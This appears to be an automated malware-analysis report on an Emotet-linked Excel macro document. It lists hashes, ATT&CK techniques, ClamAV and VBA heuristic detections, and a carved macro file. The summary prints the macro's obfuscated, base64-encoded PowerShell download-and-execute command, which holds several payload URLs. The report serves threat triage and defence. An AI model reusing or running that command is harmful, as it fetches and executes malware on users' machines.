Emotet Office (OLE) / .XLSX malware analysis — malicious · 3fffba9af6234c18

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 471ceaa399d68712727eed4f2854fea2 SHA-1: 57ee64106022636bfeb04f685903d3e065c33b17 SHA-256: 3fffba9af6234c18bc3c0d05f5fd7e2d1df6904de520eb05b518584d65c66292

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate malicious intent. The embedded VBA macro contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. Specifically, the PowerShell command reconstructs to: 'hell -e n JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHJnAC8='. This PowerShell command is responsible for downloading and executing a second-stage payload from the listed URLs, a common tactic for malware like Emotet.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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